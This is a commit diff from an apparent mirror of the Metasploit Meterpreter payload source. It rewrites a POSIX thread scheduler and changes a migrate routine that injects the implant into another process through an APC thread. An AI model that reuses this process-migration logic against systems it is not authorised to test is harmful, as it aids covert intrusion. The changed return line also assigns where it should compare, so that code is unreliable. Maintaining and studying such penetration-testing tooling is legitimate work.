mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-22 03:19:04 +01:00
Merge branch 'master' into warning_removal
This commit is contained in:
commit
1c09ac08d5
6
c/meterpreter/.gitignore
vendored
6
c/meterpreter/.gitignore
vendored
@ -43,6 +43,12 @@ source/jpeg-8/Backup/*
|
||||
|
||||
# ignore posix temp stuff
|
||||
posix-meterp-build-tmp/*
|
||||
data/meterpreter/*
|
||||
source/server/rtld/elf2bin
|
||||
source/server/rtld/lib*
|
||||
source/server/rtld/msflinker
|
||||
source/server/rtld/msflinker.bin
|
||||
source/server/rtld/rtldtest
|
||||
|
||||
# Doxygen output
|
||||
docs/*
|
||||
|
@ -1,317 +1,310 @@
|
||||
#include "queue.h"
|
||||
#include "common.h"
|
||||
#include <poll.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
HANDLE waitable;
|
||||
LPVOID context;
|
||||
WaitableNotifyRoutine routine;
|
||||
LIST_ENTRY(_WaitableEntry) link;
|
||||
} WaitableEntry;
|
||||
|
||||
int nentries = 0;
|
||||
int ntableentries = 0;
|
||||
struct pollfd *polltable;
|
||||
LIST_HEAD(_WaitableEntryHead, _WaitableEntry) WEHead;
|
||||
|
||||
THREAD *scheduler_thread;
|
||||
|
||||
/*
|
||||
* If there are no waitables in the queue, we wait
|
||||
* for a conditional broadcast to start it.
|
||||
*/
|
||||
|
||||
pthread_mutex_t scheduler_mutex;
|
||||
pthread_cond_t scheduler_cond;
|
||||
|
||||
DWORD scheduler_run(THREAD *thread);
|
||||
|
||||
DWORD scheduler_destroy( VOID )
|
||||
{
|
||||
WaitableEntry *current, *tmp;
|
||||
|
||||
dprintf("Shutdown of scheduler requested");
|
||||
|
||||
if(scheduler_thread)
|
||||
{
|
||||
dprintf("sigterm'ing thread");
|
||||
thread_sigterm(scheduler_thread);
|
||||
|
||||
// wake up the thread if needed
|
||||
pthread_cond_signal(&scheduler_cond);
|
||||
|
||||
// can delay execution up to 2 sec give or take
|
||||
thread_join(scheduler_thread);
|
||||
|
||||
// free up memory
|
||||
thread_destroy(scheduler_thread);
|
||||
scheduler_thread = NULL;
|
||||
|
||||
dprintf("thread joined .. going for polltable");
|
||||
|
||||
if(polltable)
|
||||
{
|
||||
free(polltable);
|
||||
polltable = NULL;
|
||||
nentries = ntableentries = 0;
|
||||
}
|
||||
|
||||
dprintf("Now for the fun part, iterating through list and removing items");
|
||||
|
||||
LIST_FOREACH_SAFE(current, &WEHead, link, tmp)
|
||||
{
|
||||
// can't call close function due to no remote struct
|
||||
// will segfault if we try
|
||||
// XXX could steal from scheduler_thread->parameter1 ?
|
||||
|
||||
dprintf("current: %08x, current->routine: %08x", current, current->routine);
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
close(current->waitable);
|
||||
free(current->context);
|
||||
free(current);
|
||||
}
|
||||
|
||||
dprintf("All done. Leaving");
|
||||
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD scheduler_initialize( Remote * remote )
|
||||
{
|
||||
if(scheduler_thread) {
|
||||
dprintf("Hmmm. scheduler_initialize() called twice?");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
pthread_mutex_init(&scheduler_mutex, NULL);
|
||||
pthread_cond_init(&scheduler_cond, NULL);
|
||||
|
||||
scheduler_thread = thread_create(scheduler_run, remote, NULL);
|
||||
if(! scheduler_thread) {
|
||||
return ENOMEM;
|
||||
}
|
||||
|
||||
thread_run(scheduler_thread);
|
||||
|
||||
dprintf("Initialized scheduler thread and started it running");
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Insert a waitable object for checking and processing
|
||||
*/
|
||||
DWORD
|
||||
scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine)
|
||||
{
|
||||
DWORD retcode = ERROR_SUCCESS;
|
||||
|
||||
WaitableEntry *current;
|
||||
struct pollfd *polltableprev;
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
//dprintf("Handle: %d, context: 0x%08x, routine: 0x%08x. nentries = %d, polltable = 0x%08x",
|
||||
// waitable, context, routine, nentries, polltable);
|
||||
|
||||
do {
|
||||
if ((current = malloc(sizeof(WaitableEntry))) == NULL) {
|
||||
retcode = ENOMEM;
|
||||
break;
|
||||
}
|
||||
|
||||
nentries++;
|
||||
|
||||
if (nentries > ntableentries) {
|
||||
polltableprev = polltable;
|
||||
|
||||
// We do *2 because reallocating every scheduler_insert_waitable
|
||||
// is slower than need be.
|
||||
|
||||
polltable = malloc((nentries*2)*sizeof(struct pollfd));
|
||||
|
||||
if (polltable == NULL) {
|
||||
nentries--;
|
||||
polltable = polltableprev;
|
||||
free(current);
|
||||
|
||||
retcode = ENOMEM;
|
||||
break;
|
||||
}
|
||||
|
||||
if (polltableprev != NULL)
|
||||
free(polltableprev);
|
||||
|
||||
ntableentries = (nentries*2);
|
||||
}
|
||||
current->waitable = waitable;
|
||||
current->context = context;
|
||||
current->routine = routine;
|
||||
|
||||
LIST_INSERT_HEAD(&WEHead, current, link);
|
||||
|
||||
|
||||
} while(0);
|
||||
|
||||
|
||||
dprintf("WEHead: %08x, Now nentries = %d, and polltable = 0x%08x. LIST_EMPTY: %d", &WEHead, nentries, polltable, LIST_EMPTY(&WEHead));
|
||||
/*
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
dprintf("current->waitable: %d, current->context: %08x, current->routine: %08x",
|
||||
current->waitable, current->context, current->routine);
|
||||
*/
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
|
||||
// wake up scheduler if needed.
|
||||
pthread_cond_signal(&scheduler_cond);
|
||||
|
||||
return retcode;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a waitable object
|
||||
*/
|
||||
DWORD
|
||||
scheduler_remove_waitable(HANDLE waitable)
|
||||
{
|
||||
DWORD retcode = ERROR_SUCCESS;
|
||||
WaitableEntry *current;
|
||||
|
||||
dprintf("Handle: %d", waitable);
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
do {
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == waitable)
|
||||
break;
|
||||
|
||||
if (current == NULL) {
|
||||
retcode = ENOENT;
|
||||
break;
|
||||
}
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
free(current);
|
||||
nentries--;
|
||||
} while(0);
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
|
||||
return retcode;
|
||||
}
|
||||
|
||||
/*
|
||||
* Runs the scheduler, checking waitable objects for data
|
||||
*/
|
||||
DWORD
|
||||
scheduler_run(THREAD *thread)
|
||||
{
|
||||
Remote *remote;
|
||||
remote = (Remote *) thread->parameter1;
|
||||
WaitableEntry *current, *tmp;
|
||||
int ret, i, found, idx;
|
||||
int timeout;
|
||||
|
||||
timeout = 1000;
|
||||
|
||||
// see if we can modify this code to use waitable as the index into polltable
|
||||
// and waitable events. saves time looking up in exchange for more memory use.
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
dprintf("Beginning loop");
|
||||
|
||||
while( event_poll(thread->sigterm, 0) == FALSE )
|
||||
{
|
||||
// scheduler_mutex is held upon entry and execution of the loop
|
||||
|
||||
idx = 0;
|
||||
|
||||
while(event_poll(thread->sigterm, 0) == FALSE && (LIST_EMPTY(&WEHead) || polltable == NULL)) {
|
||||
// XXX I'd prefer to use pthread_cond_timedwait, but it's broken in bionic and just
|
||||
// chews cpu
|
||||
|
||||
//dprintf(" Waiting for conditional (%08x). %d vs %d",
|
||||
// &scheduler_cond, LIST_EMPTY(&WEHead), polltable == NULL);
|
||||
|
||||
pthread_cond_wait(&scheduler_cond, &scheduler_mutex);
|
||||
|
||||
// pthread_cond_wait still chews CPU in some cases, usleep to yield
|
||||
// processor so we don't just spin.
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
LIST_FOREACH(current, &WEHead, link) {
|
||||
dprintf("current->waitable: %d, current->context: %08x, current->routine: %08x",
|
||||
current->waitable, current->context, current->routine);
|
||||
polltable[idx].fd = current->waitable;
|
||||
polltable[idx].events = POLLRDNORM;
|
||||
polltable[idx].revents = 0;
|
||||
idx++;
|
||||
}
|
||||
|
||||
dprintf("Created a polltable of %d", idx);
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
|
||||
ret = poll(polltable, idx, timeout);
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
if(ret == 0) continue;
|
||||
if(ret == -1) {
|
||||
if(errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) {
|
||||
continue;
|
||||
}
|
||||
dprintf("poll() failed, errno: %d (%s). Sleeping 1 second and retrying", errno, strerror(errno));
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
for (found = i = 0; i < idx && found < ret; i++)
|
||||
{
|
||||
if (polltable[i].revents)
|
||||
{
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == polltable[i].fd)
|
||||
break;
|
||||
|
||||
if(current)
|
||||
{
|
||||
ret = current->routine(remote, current->context);
|
||||
if(ret != ERROR_SUCCESS)
|
||||
{
|
||||
// could call close due to remote, but it would deadlock
|
||||
// if it calls remove waitable
|
||||
// could make a separate list to handle when we are not locking
|
||||
// unlink and let rest deal with it ?
|
||||
|
||||
dprintf("current->routine (%08x / %08x) returned an error message. destroying", current->routine, current->context);
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
close(current->waitable);
|
||||
channel_close((Channel *)current->context, remote, NULL, 0, NULL);
|
||||
free(current);
|
||||
|
||||
nentries--;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("Ending loop");
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
}
|
||||
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <poll.h>
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
Remote * remote;
|
||||
HANDLE waitable;
|
||||
EVENT* pause;
|
||||
EVENT* resume;
|
||||
LPVOID context;
|
||||
BOOL running;
|
||||
WaitableNotifyRoutine routine;
|
||||
WaitableDestroyRoutine destroy;
|
||||
} WaitableEntry;
|
||||
|
||||
/*
|
||||
* The list of all currenltly running threads in the scheduler subsystem.
|
||||
*/
|
||||
LIST * schedulerThreadList = NULL;
|
||||
|
||||
/*
|
||||
* The Remote that is associated with the scheduler subsystem
|
||||
*/
|
||||
Remote * schedulerRemote = NULL;
|
||||
|
||||
/*
|
||||
* Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable.
|
||||
*/
|
||||
DWORD scheduler_initialize( Remote * remote )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_initialize." );
|
||||
|
||||
if( remote == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
schedulerThreadList = list_create();
|
||||
if( schedulerThreadList == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
schedulerRemote = remote;
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
|
||||
* this function blocks untill all waitable threads have terminated.
|
||||
*/
|
||||
DWORD scheduler_destroy( VOID )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD index = 0;
|
||||
DWORD count = 0;
|
||||
LIST * jlist = list_create();
|
||||
THREAD * thread = NULL;
|
||||
WaitableEntry * entry = NULL;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_destroy." );
|
||||
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
|
||||
count = list_count( schedulerThreadList );
|
||||
|
||||
for( index=0 ; index < count ; index++ )
|
||||
{
|
||||
thread = (THREAD *)list_get( schedulerThreadList, index );
|
||||
if( thread == NULL )
|
||||
continue;
|
||||
|
||||
list_push( jlist, thread );
|
||||
|
||||
entry = (WaitableEntry *)thread->parameter1;
|
||||
|
||||
if( !entry->running )
|
||||
event_signal( entry->resume );
|
||||
|
||||
thread_sigterm( thread );
|
||||
}
|
||||
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
|
||||
|
||||
thread = (THREAD *)list_pop( jlist );
|
||||
if( thread == NULL )
|
||||
break;
|
||||
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
|
||||
|
||||
thread_join( thread );
|
||||
}
|
||||
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
|
||||
|
||||
list_destroy( jlist );
|
||||
|
||||
list_destroy( schedulerThreadList );
|
||||
|
||||
schedulerThreadList = NULL;
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_destroy." );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Insert a new waitable thread for checking and processing.
|
||||
*/
|
||||
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
THREAD * swt = NULL;
|
||||
|
||||
WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
|
||||
if( entry == NULL )
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X )",
|
||||
waitable, entryContext, threadContext, routine, destroy );
|
||||
|
||||
memset( entry, 0, sizeof( WaitableEntry ) );
|
||||
|
||||
entry->remote = schedulerRemote;
|
||||
entry->waitable = waitable;
|
||||
entry->destroy = destroy;
|
||||
entry->context = entryContext;
|
||||
entry->routine = routine;
|
||||
entry->pause = event_create();
|
||||
entry->resume = event_create();
|
||||
|
||||
swt = thread_create( scheduler_waitable_thread, entry, threadContext, NULL );
|
||||
if( swt != NULL )
|
||||
{
|
||||
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
|
||||
thread_run( swt );
|
||||
}
|
||||
else
|
||||
{
|
||||
free( entry );
|
||||
result = ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Signal a waitable object.
|
||||
*/
|
||||
DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD count = 0;
|
||||
THREAD * thread = NULL;
|
||||
WaitableEntry * entry = NULL;
|
||||
DWORD result = ERROR_NOT_FOUND;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );
|
||||
|
||||
if( schedulerThreadList == NULL || waitable == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
|
||||
count = list_count( schedulerThreadList );
|
||||
|
||||
for( index=0 ; index < count ; index++ )
|
||||
{
|
||||
thread = (THREAD *)list_get( schedulerThreadList, index );
|
||||
if( thread == NULL )
|
||||
continue;
|
||||
|
||||
entry = (WaitableEntry *)thread->parameter1;
|
||||
if( entry == NULL )
|
||||
continue;
|
||||
|
||||
if( entry->waitable == waitable )
|
||||
{
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
if( signal == Pause )
|
||||
{
|
||||
if( entry->running ) {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
|
||||
event_signal( entry->pause );
|
||||
} else {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if( !entry->running ) {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
|
||||
event_signal( entry->resume );
|
||||
}
|
||||
|
||||
if( signal == Stop ) {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
|
||||
thread_sigterm( thread );
|
||||
} else {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
}
|
||||
}
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* The schedulers waitable thread. Each scheduled item will have its own thread which
|
||||
* waits for either data to process or the threads signal to terminate.
|
||||
*/
|
||||
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
|
||||
{
|
||||
struct pollfd pollDetail = {0};
|
||||
WaitableEntry * entry = NULL;
|
||||
DWORD result = 0;
|
||||
BOOL terminate = FALSE;
|
||||
UINT signalIndex = 0;
|
||||
|
||||
if( thread == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
entry = (WaitableEntry *)thread->parameter1;
|
||||
if( entry == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
if( entry->routine == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
if( schedulerThreadList == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
list_add( schedulerThreadList, thread );
|
||||
|
||||
pollDetail.fd = entry->waitable;
|
||||
pollDetail.events = POLLRDNORM;
|
||||
pollDetail.revents = 0;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
|
||||
|
||||
|
||||
entry->running = TRUE;
|
||||
while( !terminate )
|
||||
{
|
||||
if( event_poll( thread->sigterm, 0 ) ) {
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
|
||||
terminate = TRUE;
|
||||
}
|
||||
else if( event_poll( entry->pause, 0 ) ) {
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to pause...", thread );
|
||||
entry->running = FALSE;
|
||||
while( !event_poll( entry->resume, 1000 ) );
|
||||
entry->running = TRUE;
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread );
|
||||
}
|
||||
else if( poll( &pollDetail, 1, 100 ) == POLLIN ) {
|
||||
//dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread );
|
||||
entry->routine( entry->remote, entry->context, (LPVOID)thread->parameter2 );
|
||||
}
|
||||
}
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
|
||||
|
||||
// we acquire the lock for this block as we are freeing 'entry' which may be accessed
|
||||
// in a second call to scheduler_signal_waitable for this thread (unlikely but best practice).
|
||||
dprintf( "[SCHEDULER] attempting to remove thread( 0x%08X )", thread );
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
if( list_remove( schedulerThreadList, thread ) )
|
||||
{
|
||||
if( entry->destroy ) {
|
||||
dprintf( "[SCHEDULER] destroying thread( 0x%08X )", thread );
|
||||
entry->destroy( entry->waitable, entry->context, (LPVOID)thread->parameter2 );
|
||||
dprintf( "[SCHEDULER] destroyed thread( 0x%08X )", thread );
|
||||
}
|
||||
else if( entry->waitable ) {
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable);
|
||||
close( entry->waitable );
|
||||
}
|
||||
|
||||
dprintf( "[SCHEDULER] cleaning up resume thread( 0x%08X )", thread );
|
||||
event_destroy( entry->resume );
|
||||
dprintf( "[SCHEDULER] cleaning up pause thread( 0x%08X )", thread );
|
||||
event_destroy( entry->pause );
|
||||
dprintf( "[SCHEDULER] cleaning up thread( 0x%08X )", thread );
|
||||
thread_destroy( thread );
|
||||
dprintf( "[SCHEDULER] cleaning up entry( 0x%08X )", thread );
|
||||
free( entry );
|
||||
}
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -65,7 +65,7 @@ typedef struct _MIGRATECONTEXT
|
||||
/*
|
||||
* Migrate the meterpreter server from the current process into another process.
|
||||
*/
|
||||
DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
|
||||
BOOL remote_request_core_migrate( Remote * remote, Packet * packet, DWORD* pResult )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = NULL;
|
||||
@ -185,26 +185,12 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
|
||||
if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" )
|
||||
}
|
||||
/*
|
||||
// Wait at most 15 seconds for the event to be set letting us know that it's finished
|
||||
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
|
||||
BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
|
||||
|
||||
// Signal the main server thread to begin the shutdown as migration has been successfull.
|
||||
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (signaling main thread)...");
|
||||
thread_sigterm( serverThread );
|
||||
*/
|
||||
|
||||
// Signal the main server thread to begin the shutdown as migration has been successfull.
|
||||
// If the thread is not killed, the pending packet_receive prevents the new process
|
||||
// from being able to negotiate SSL.
|
||||
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (killing the main thread)...");
|
||||
thread_kill( serverThread );
|
||||
|
||||
// Wait at most 15 seconds for the event to be set letting us know that it's finished
|
||||
// Unfortunately, its too late to do anything about a failure at this point
|
||||
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
|
||||
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
|
||||
//// Wait at most 15 seconds for the event to be set letting us know that it's finished
|
||||
//// Unfortunately, its too late to do anything about a failure at this point
|
||||
//if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
|
||||
// dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
@ -221,7 +207,10 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
|
||||
if( hEvent )
|
||||
CloseHandle( hEvent );
|
||||
|
||||
return dwResult;
|
||||
if( pResult )
|
||||
*pResult = dwResult;
|
||||
|
||||
return dwResult = ERROR_SUCCESS ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
@ -2,10 +2,14 @@
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
Remote * remote;
|
||||
HANDLE waitable;
|
||||
LPVOID context;
|
||||
WaitableNotifyRoutine routine;
|
||||
Remote * remote;
|
||||
HANDLE waitable;
|
||||
EVENT* pause;
|
||||
EVENT* resume;
|
||||
LPVOID context;
|
||||
BOOL running;
|
||||
WaitableNotifyRoutine routine;
|
||||
WaitableDestroyRoutine destroy;
|
||||
} WaitableEntry;
|
||||
|
||||
/*
|
||||
@ -52,6 +56,7 @@ DWORD scheduler_destroy( VOID )
|
||||
DWORD count = 0;
|
||||
LIST * jlist = list_create();
|
||||
THREAD * thread = NULL;
|
||||
WaitableEntry * entry = NULL;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_destroy." );
|
||||
|
||||
@ -67,6 +72,11 @@ DWORD scheduler_destroy( VOID )
|
||||
|
||||
list_push( jlist, thread );
|
||||
|
||||
entry = (WaitableEntry *)thread->parameter1;
|
||||
|
||||
if( !entry->running )
|
||||
event_signal( entry->resume );
|
||||
|
||||
thread_sigterm( thread );
|
||||
}
|
||||
|
||||
@ -76,7 +86,7 @@ DWORD scheduler_destroy( VOID )
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread list..." );
|
||||
|
||||
thread = (THREAD *)list_pop( jlist );
|
||||
if( thread == NULL )
|
||||
@ -103,7 +113,7 @@ DWORD scheduler_destroy( VOID )
|
||||
/*
|
||||
* Insert a new waitable thread for checking and processing.
|
||||
*/
|
||||
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine )
|
||||
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
THREAD * swt = NULL;
|
||||
@ -112,16 +122,20 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
|
||||
if( entry == NULL )
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine );
|
||||
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X )",
|
||||
waitable, entryContext, threadContext, routine, destroy );
|
||||
|
||||
memset( entry, 0, sizeof( WaitableEntry ) );
|
||||
|
||||
entry->remote = schedulerRemote;
|
||||
entry->waitable = waitable;
|
||||
entry->context = context;
|
||||
entry->destroy = destroy;
|
||||
entry->context = entryContext;
|
||||
entry->routine = routine;
|
||||
entry->pause = event_create();
|
||||
entry->resume = event_create();
|
||||
|
||||
swt = thread_create( scheduler_waitable_thread, entry, NULL );
|
||||
swt = thread_create( scheduler_waitable_thread, entry, threadContext, NULL );
|
||||
if( swt != NULL )
|
||||
{
|
||||
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
|
||||
@ -139,17 +153,17 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotify
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a waitable object by signaling the waitable thread to terminate.
|
||||
* Signal a waitable object.
|
||||
*/
|
||||
DWORD scheduler_remove_waitable( HANDLE waitable )
|
||||
DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD count = 0;
|
||||
THREAD * thread = NULL;
|
||||
WaitableEntry * entry = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD result = ERROR_NOT_FOUND;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );
|
||||
dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );
|
||||
|
||||
if( schedulerThreadList == NULL || waitable == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
@ -170,8 +184,31 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
|
||||
|
||||
if( entry->waitable == waitable )
|
||||
{
|
||||
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
thread_sigterm( thread );
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
if( signal == Pause )
|
||||
{
|
||||
if( entry->running ) {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
|
||||
event_signal( entry->pause );
|
||||
} else {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if( !entry->running ) {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
|
||||
event_signal( entry->resume );
|
||||
}
|
||||
|
||||
if( signal == Stop ) {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
|
||||
thread_sigterm( thread );
|
||||
} else {
|
||||
dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
}
|
||||
}
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
@ -179,7 +216,7 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
|
||||
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
